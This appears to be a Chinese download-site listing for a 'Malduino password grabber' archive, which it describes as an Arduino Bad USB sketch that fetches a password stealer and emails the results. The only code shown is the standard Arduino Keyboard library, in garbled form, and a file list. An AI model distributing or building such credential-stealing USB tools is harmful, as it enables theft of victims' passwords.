• 大小: 14KB
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2021-06-17
  • 语言: 其他
  • 标签: Arduino  

资源简介

Arduino-malduino-password-grabber.zip,Arduino Sketch为Malduino Bad USB(Lite)编程,下载密码抓取器并通过电子邮件发送结果Malduino Password Grabber,Arduino是一家开源软硬件公司和制造商社区。Arduino始于21世纪初,深受电子制造商的欢迎,Arduino通过开源系统提供了很多灵活性。

资源截图

代码片段和文件信息

#define ADD_ALTGR
/*
  Keyboard.cpp

  Copyright (c) 2015 Arduino LLC
  Original code (pre-library): Copyright (c) 2011 Peter Barrett

  This library is free software; you can redistribute it and/or
  modify it under the terms of the GNU Lesser General Public
  License as published by the Free Software Foundation; either
  version 2.1 of the License or (at your option) any later version.

  This library is distributed in the hope that it will be useful
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
  Lesser General Public License for more details.

  You should have received a copy of the GNU Lesser General Public
  License along with this library; if not write to the Free Software
  Foundation Inc. 51 Franklin St Fifth Floor Boston MA  02110-1301  USA
*/

#include “Keyboard.h“

#if defined(_USING_HID)

//================================================================================
//================================================================================
// Keyboard

static const uint8_t _hidReportDescriptor[] PROGMEM = {

  //  Keyboard
    0x05 0x01                    // USAGE_PAGE (Generic Desktop)  // 47
    0x09 0x06                    // USAGE (Keyboard)
    0xa1 0x01                    // COLLECTION (Application)
    0x85 0x02                    //   REPORT_ID (2)
    0x05 0x07                    //   USAGE_PAGE (Keyboard)
   
  0x19 0xe0                    //   USAGE_MINIMUM (Keyboard LeftControl)
    0x29 0xe7                    //   USAGE_MAXIMUM (Keyboard Right GUI)
    0x15 0x00                    //   LOGICAL_MINIMUM (0)
    0x25 0x01                    //   LOGICAL_MAXIMUM (1)
    0x75 0x01                    //   REPORT_SIZE (1)
    
  0x95 0x08                    //   REPORT_COUNT (8)
    0x81 0x02                    //   INPUT (DataVarAbs)
    0x95 0x01                    //   REPORT_COUNT (1)
    0x75 0x08                    //   REPORT_SIZE (8)
    0x81 0x03                    //   INPUT (CnstVarAbs)
    
  0x95 0x06                    //   REPORT_COUNT (6)
    0x75 0x08                    //   REPORT_SIZE (8)
    0x15 0x00                    //   LOGICAL_MINIMUM (0)
    0x25 0x65                    //   LOGICAL_MAXIMUM (101)
    0x05 0x07                    //   USAGE_PAGE (Keyboard)
    
  0x19 0x00                    //   USAGE_MINIMUM (Reserved (no event indicated))
    0x29 0x65                    //   USAGE_MAXIMUM (Keyboard Application)
    0x81 0x00                    //   INPUT (DataAryAbs)
    0xc0                          // END_COLLECTION
};

Keyboard_::Keyboard_(void) 
{
static HIDSubDescriptor node(_hidReportDescriptor sizeof(_hidReportDescriptor));
HID().AppendDescriptor(&node);
}

void Keyboard_::begin(void)
{
}

void Keyboard_::end(void)
{
}

void Keyboard_::sendReport(KeyReport* keys)
{
HID().SendReport(2keyssizeof(KeyReport));
}

extern
const u

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2017-07-14 01:24  malduino-password-grabber-master\
     文件         430  2017-07-14 01:24  malduino-password-grabber-master\.gitignore
     文件       11357  2017-07-14 01:24  malduino-password-grabber-master\LICENSE
     文件        1882  2017-07-14 01:24  malduino-password-grabber-master\README.md
     目录           0  2017-07-14 01:24  malduino-password-grabber-master\lite\
     文件        9800  2017-07-14 01:24  malduino-password-grabber-master\lite\Keyboard.cpp
     文件        2638  2017-07-14 01:24  malduino-password-grabber-master\lite\Keyboard.h
     文件        2120  2017-07-14 01:24  malduino-password-grabber-master\lite\Params.h
     文件        5422  2017-07-14 01:24  malduino-password-grabber-master\lite\lite.ino
     文件        1795  2017-07-14 01:24  malduino-password-grabber-master\rubber_ducky_script.txt

评论

共有 条评论